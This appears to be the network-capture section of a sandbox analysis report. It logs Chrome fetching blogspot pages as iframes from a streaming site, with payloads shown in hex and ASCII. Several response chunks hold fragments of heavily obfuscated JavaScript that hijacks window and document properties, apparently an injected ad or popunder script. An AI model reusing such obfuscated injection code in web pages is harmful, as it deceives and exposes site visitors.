2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 34 65 65 65 0d 0a 39 5d 5d 5b 66 5b 33 38 5d 5d 28 5f 3d 3e 7b 74 72 79 7b 69 66 28 21 77 69 6e 64 6f 77 5b 5f 5d 29 74 68 72 6f 77 20 6e 65 77 20 69 5b 66 5b 37 37 5d 5d 28 66 5b 33 37 5d 29 7d 63 61 74 63 68 28 4c 29 7b 74 72 79 7b 6c 65 74 20 7a 3d 7b 7d 3b 7a 5b 66 5b 32 37 5d 5d 3d 21 31 2c 7a 5b 66 5b 34 30 5d 5d 3d 28 29 3d 3e 69 5b 5f 5d 2c 69 5b 66 5b 32 38 5d 5d 5b 66 5b 32 39 5d 5d 28 77 69 6e 64 6f 77 2c 5f 2c 7a 29 7d 63 61 74 63 68 28 7a 29 7b 7d 7d 7d 29 2c 4a 28 62 28 66 5b 33 30 5d 29 2c 62 28 66 5b 34 33 5d 29 2c 62 28 66 5b 35 37 5d 29 2c 62 28 66 5b 35 38 5d 29 2c 62 28 66 5b 35 39 5d 29 2c 62 28 66 5b 36 30 5d 29 2c 62 28 66 5b 33 32 5d 29 2c 62 28 66 5b 36 31 5d 29 2c 62 28 66 5b 34 32 5d 29 2c 62 28 66 5b 36 32 5d 29 2c 62 28 66 5b Data Ascii: 4eee9]][f[38]](_=>{try{if(!window[_])throw new i[f[77]](f[37])}catch(L){try{let z={};z[f[27]]=!1,z[f[40]]=()=>i[_],i[f[28]][f[29]](window,_,z)}catch(z){}}}),J(b(f[30]),b(f[43]),b(f[57]),b(f[58]),b(f[59]),b(f[60]),b(f[32]),b(f[61]),b(f[42]),b(f[62]),b(f[
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 4b 5d 28 6e 29 3f 65 2e 56 3a 65 2e 4a 7d 66 75 6e 63 74 69 6f 6e 20 6c 72 28 6e 29 7b 72 65 74 75 72 6e 20 55 65 28 7a 72 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 77 72 28 6e 29 7b 72 65 74 75 72 6e 20 55 65 28 6a 72 2c 6e 5b 65 2e 64 6b 5d 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 45 72 28 6e 29 7b 72 65 74 75 72 6e 20 55 65 28 61 72 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 6e 29 7b 72 65 74 75 72 6e 20 6e 5b 65 2e 6e 4d 5d 28 65 2e 48 4b 29 5b 65 2e 76 4b 5d 28 65 2e 4a 29 5b 65 2e 4f 6a 5d 28 72 3d 3e 72 29 5b 65 2e 59 4d 5d 28 29 5b 65 2e 6e 4d 5d 28 65 2e 7a 4b 29 5b 65 2e 76 4b 5d 28 2d 65 2e 56 29 5b 65 2e 57 4b 5d 28 65 2e 7a 4b 29 5b 65 2e 65 4d 5d 28 29 5b 65 2e 6e 4d 5d 28 65 2e 68 29 5b 65 2e 43 6a 5d 28 28 72 2c 74 29 3d 3e 72 2b 64 65 28 Data Ascii: K](n)?e.V:e.J}function lr(n){return Ue(zr,n)}function wr(n){return Ue(jr,n[e.dk]())}function Er(n){return Ue(ar,n)}function sr(n){return n[e.nM](e.HK)[e.vK](e.J)[e.Oj](r=>r)[e.YM]()[e.nM](e.zK)[e.vK](-e.V)[e.WK](e.zK)[e.eM]()[e.nM](e.h)[e.Cj]((r,t)=>r+de(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49754	216.58.206.33	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	703	OUT	GET /2024/10/6_11.html HTTP/1.1 Host: sqsq2938.blogspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	444	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Oct 2024 22:39:49 GMT Date: Mon, 14 Oct 2024 22:39:49 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:16 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-14 22:39:50 UTC	934	IN	Data Raw: 32 39 33 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 72 74 6c 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 27 20 78 6d 6c 6e 73 3a 62 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 62 27 20 78 6d 6c 6e 73 3a 64 61 74 61 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 64 61 74 61 27 20 78 6d 6c 6e 73 3a 65 78 70 72 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 65 78 70 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 Data Ascii: 293d<!DOCTYPE html><html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'><head><script type='text
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 61 6d 65 3d 27 74 68 65 6d 65 2d 63 6f 6c 6f 72 27 2f 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 27 20 6e 61 6d 65 3d 27 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 76 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 27 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 32 30 32 34 20 20 2d 20 41 74 6f 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 71 73 71 32 39 33 38 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 66 65 65 64 73 2f 70 6f 73 74 73 2f 64 65 66 61 75 6c 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 Data Ascii: ame='theme-color'/><meta content='' name='msapplication-navbutton-color'/><link rel="alternate" type="application/atom+xml" title=" 2024 - Atom" href="https://sqsq2938.blogspot.com/feeds/posts/default" /><link rel="alternate" t
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 65 3d 27 74 77 69 74 74 65 72 3a 64 6f 6d 61 69 6e 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 71 73 71 32 39 33 38 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 32 30 32 34 2f 31 30 2f 36 5f 31 31 2e 68 74 6d 6c 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 31 2e 62 70 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 32 38 2e 32 62 70 2e 62 6c 6f 67 73 Data Ascii: e='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/6_11.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.com' rel='dns-prefetch'/><link href='//28.2bp.blogs
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 70 61 67 65 61 64 32 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 Data Ascii: m' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link href='//pagead2.googlesyndication.com' rel='dns-prefet
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 35 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 20 33 3b 20 7d 20 61 2e 67 65 74 43 6f 64 65 7b 74 6f 70 3a 20 34 30 70 78 3b 7d 20 2e 43 6f 64 65 43 68 61 6e 6e 6c 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 66 35 31 62 35 30 30 3b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 30 3b 20 72 69 67 68 74 3a 20 30 3b 20 6c 65 66 74 3a 20 30 3b 20 62 6f 74 74 6f 6d 3a 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7a 2d 69 6e 64 65 78 3a 20 32 3b 7d 20 2e 43 6f 64 65 43 68 61 6e 6e 6c 65 20 74 65 78 74 61 72 65 61 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 74 6f 70 3a 20 35 31 25 3b 20 62 6f 72 64 65 72 Data Ascii: 5px; z-index: 3; } a.getCode{top: 40px;} .CodeChannle { background: #3f51b500; display: none; position: fixed; top: 0; right: 0; left: 0; bottom: 0; width: 100%; text-align: center; z-index: 2;} .CodeChannle textarea { position: relative; top: 51%; border
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 6c 6f 72 3a 20 23 30 65 30 65 30 65 3b 20 7d 20 2e 63 6c 6f 73 65 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 2d 32 37 70 78 3b 20 72 69 67 68 74 3a 20 31 35 34 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 32 70 78 3b 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 20 35 3b 63 6f 6c 6f 72 3a 23 63 33 31 35 31 35 3b 7d 20 7d 0a 2e 66 65 65 64 4c 69 6e 6b 73 28 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 0a 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 33 2e 35 2e 31 2f 6a 71 75 65 72 79 2e 6d 69 6e Data Ascii: lor: #0e0e0e; } .close{ position: absolute; top: -27px; right: 154px; font-size: 42px;cursor: pointer;z-index: 5;color:#c31515;} }.feedLinks(display:none !important;}--></style><script src='https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 20 73 65 63 74 69 6f 6e 27 20 69 64 3d 27 6d 61 69 6e 27 3e 3c 64 69 76 20 63 6c 61 73 73 3d 27 77 69 64 67 65 74 20 48 54 4d 4c 27 20 64 61 74 61 2d 76 65 72 73 69 6f 6e 3d 27 31 27 20 69 64 3d 27 48 54 4d 4c 32 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 27 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 28 29 3d 3e 7b 76 61 72 20 66 3d 27 72 43 61 6f 68 64 43 65 6d 7a 6f 4d 72 61 66 74 7a 68 67 7a 6e 72 69 61 72 6e 74 64 53 6f 7a 6d 79 7a 74 74 72 6f 65 53 70 74 6f 72 72 69 50 6e 65 67 6e 7a 69 73 66 6c 65 69 64 63 7a 65 74 7a 63 72 65 65 6a 70 62 6c 4f 61 7a 63 65 65 6c 7a 62 7a 61 66 72 6f 75 Data Ascii: section' id='main'><div class='widget HTML' data-version='1' id='HTML2'><div class='widget-content'><script data-cfasync="false" type="text/javascript">(()=>{var f='rCaohdCemzoMraftzhgznriarntdSozmyzttroeSptorriPnegnzisfleidczetzcreejpblOazceelzbzafrou
2024-10-14 22:39:50 UTC	1363	IN	Data Raw: 5b 32 37 5d 5d 3d 21 31 2c 69 5b 66 5b 32 38 5d 5d 5b 66 5b 32 39 5d 5d 28 69 5b 66 5b 33 30 5d 5d 2c 66 5b 33 31 5d 2c 5f 29 3b 6c 65 74 20 4c 3d 69 5b 66 5b 33 32 5d 5d 5b 66 5b 33 33 5d 5d 28 29 5b 66 5b 33 34 5d 5d 28 33 36 29 5b 66 5b 33 35 5d 5d 28 32 29 5b 66 5b 33 36 5d 5d 28 2f 5e 5c 64 2b 2f 2c 66 5b 33 37 5d 29 3b 77 69 6e 64 6f 77 5b 4c 5d 3d 64 6f 63 75 6d 65 6e 74 2c 78 5b 66 5b 33 38 5d 5d 28 7a 3d 3e 7b 64 6f 63 75 6d 65 6e 74 5b 7a 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 5b 66 5b 31 33 5d 5d 5b 7a 5d 5b 66 5b 33 39 5d 5d 28 77 69 6e 64 6f 77 5b 66 5b 31 33 5d 5d 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 29 2c 52 5b 66 5b 33 38 5d 5d 28 7a 3d 3e 7b 6c 65 74 20 42 3d 7b 7d 3b 42 5b 66 5b 32 37 5d 5d 3d 21 31 2c 42 5b 66 Data Ascii: [27]]=!1,i[f[28]][f[29]](i[f[30]],f[31],_);let L=i[f[32]][f[33]]()[f[34]](36)[f[35]](2)[f[36]](/^\d+/,f[37]);window[L]=document,x[f[38]](z=>{document[z]=function(){return i[f[13]][z][f[39]](window[f[13]],arguments)}}),R[f[38]](z=>{let B={};B[f[27]]=!1,B[f
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 34 66 30 36 0d 0a 69 66 28 21 77 69 6e 64 6f 77 5b 5f 5d 29 74 68 72 6f 77 20 6e 65 77 20 69 5b 66 5b 37 37 5d 5d 28 66 5b 33 37 5d 29 7d 63 61 74 63 68 28 4c 29 7b 74 72 79 7b 6c 65 74 20 7a 3d 7b 7d 3b 7a 5b 66 5b 32 37 5d 5d 3d 21 31 2c 7a 5b 66 5b 34 30 5d 5d 3d 28 29 3d 3e 69 5b 5f 5d 2c 69 5b 66 5b 32 38 5d 5d 5b 66 5b 32 39 5d 5d 28 77 69 6e 64 6f 77 2c 5f 2c 7a 29 7d 63 61 74 63 68 28 7a 29 7b 7d 7d 7d 29 2c 4a 28 62 28 66 5b 33 30 5d 29 2c 62 28 66 5b 34 33 5d 29 2c 62 28 66 5b 35 37 5d 29 2c 62 28 66 5b 35 38 5d 29 2c 62 28 66 5b 35 39 5d 29 2c 62 28 66 5b 36 30 5d 29 2c 62 28 66 5b 33 32 5d 29 2c 62 28 66 5b 36 31 5d 29 2c 62 28 66 5b 34 32 5d 29 2c 62 28 66 5b 36 32 5d 29 2c 62 28 66 5b 36 32 5d 29 2c 62 28 66 5b 36 33 5d 29 2c 62 28 66 5b 36 Data Ascii: 4f06if(!window[_])throw new i[f[77]](f[37])}catch(L){try{let z={};z[f[27]]=!1,z[f[40]]=()=>i[_],i[f[28]][f[29]](window,_,z)}catch(z){}}}),J(b(f[30]),b(f[43]),b(f[57]),b(f[58]),b(f[59]),b(f[60]),b(f[32]),b(f[61]),b(f[42]),b(f[62]),b(f[62]),b(f[63]),b(f[6
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 69 6f 6e 20 6c 72 28 6e 29 7b 72 65 74 75 72 6e 20 55 65 28 7a 72 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 77 72 28 6e 29 7b 72 65 74 75 72 6e 20 55 65 28 6a 72 2c 6e 5b 65 2e 64 6b 5d 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 45 72 28 6e 29 7b 72 65 74 75 72 6e 20 55 65 28 61 72 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 6e 29 7b 72 65 74 75 72 6e 20 6e 5b 65 2e 6e 4d 5d 28 65 2e 48 4b 29 5b 65 2e 76 4b 5d 28 65 2e 4a 29 5b 65 2e 4f 6a 5d 28 72 3d 3e 72 29 5b 65 2e 59 4d 5d 28 29 5b 65 2e 6e 4d 5d 28 65 2e 7a 4b 29 5b 65 2e 76 4b 5d 28 2d 65 2e 56 29 5b 65 2e 57 4b 5d 28 65 2e 7a 4b 29 5b 65 2e 65 4d 5d 28 29 5b 65 2e 6e 4d 5d 28 65 2e 68 29 5b 65 2e 43 6a 5d 28 28 72 2c 74 29 3d 3e 72 2b 64 65 28 74 29 2c 65 2e 58 29 25 65 2e 7a 72 2b 65 2e 4a 7d 76 61 Data Ascii: ion lr(n){return Ue(zr,n)}function wr(n){return Ue(jr,n[e.dk]())}function Er(n){return Ue(ar,n)}function sr(n){return n[e.nM](e.HK)[e.vK](e.J)[e.Oj](r=>r)[e.YM]()[e.nM](e.zK)[e.vK](-e.V)[e.WK](e.zK)[e.eM]()[e.nM](e.h)[e.Cj]((r,t)=>r+de(t),e.X)%e.zr+e.J}va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49755	216.58.206.33	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	701	OUT	GET /2024/10/78.html HTTP/1.1 Host: sqsq2938.blogspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	444	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Oct 2024 22:39:49 GMT Date: Mon, 14 Oct 2024 22:39:49 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:16 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-14 22:39:50 UTC	934	IN	Data Raw: 32 39 34 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 72 74 6c 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 27 20 78 6d 6c 6e 73 3a 62 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 62 27 20 78 6d 6c 6e 73 3a 64 61 74 61 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 64 61 74 61 27 20 78 6d 6c 6e 73 3a 65 78 70 72 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 65 78 70 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 Data Ascii: 294b<!DOCTYPE html><html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'><head><script type='text
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 27 20 6e 61 6d 65 3d 27 74 68 65 6d 65 2d 63 6f 6c 6f 72 27 2f 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 27 20 6e 61 6d 65 3d 27 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 76 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 27 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 32 30 32 34 20 20 2d 20 41 74 6f 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 71 73 71 32 39 33 38 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 66 65 65 64 73 2f 70 6f 73 74 73 2f 64 65 66 61 75 6c 74 22 20 2f 3e 0a 3c 6c 69 6e Data Ascii: ><meta content='' name='theme-color'/><meta content='' name='msapplication-navbutton-color'/><link rel="alternate" type="application/atom+xml" title=" 2024 - Atom" href="https://sqsq2938.blogspot.com/feeds/posts/default" /><lin
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 3a 74 79 70 65 27 2f 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 32 30 32 34 20 27 20 6e 61 6d 65 3d 27 74 77 69 74 74 65 72 3a 64 6f 6d 61 69 6e 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 71 73 71 32 39 33 38 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 32 30 32 34 2f 31 30 2f 37 38 2e 68 74 6d 6c 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 31 2e 62 70 2e 62 6c 6f Data Ascii: :type'/><meta content=' 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/78.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blo
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 74 65 72 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 61 70 69 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 Data Ascii: ter.com' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><li
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 73 3a 35 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 6c 65 66 74 3a 20 37 70 78 3b 20 74 6f 70 3a 20 37 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 20 33 3b 20 7d 20 61 2e 67 65 74 43 6f 64 65 7b 74 6f 70 3a 20 34 30 70 78 3b 7d 20 2e 43 6f 64 65 43 68 61 6e 6e 6c 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 66 35 31 62 35 30 30 3b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 30 3b 20 72 69 67 68 74 3a 20 30 3b 20 6c 65 66 74 3a 20 30 3b 20 62 6f 74 74 6f 6d 3a 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7a 2d 69 6e 64 65 78 3a 20 32 3b 7d 20 2e 43 6f Data Ascii: s:5px; position: fixed; left: 7px; top: 7px; font-size: 15px; z-index: 3; } a.getCode{top: 40px;} .CodeChannle { background: #3f51b500; display: none; position: fixed; top: 0; right: 0; left: 0; bottom: 0; width: 100%; text-align: center; z-index: 2;} .Co
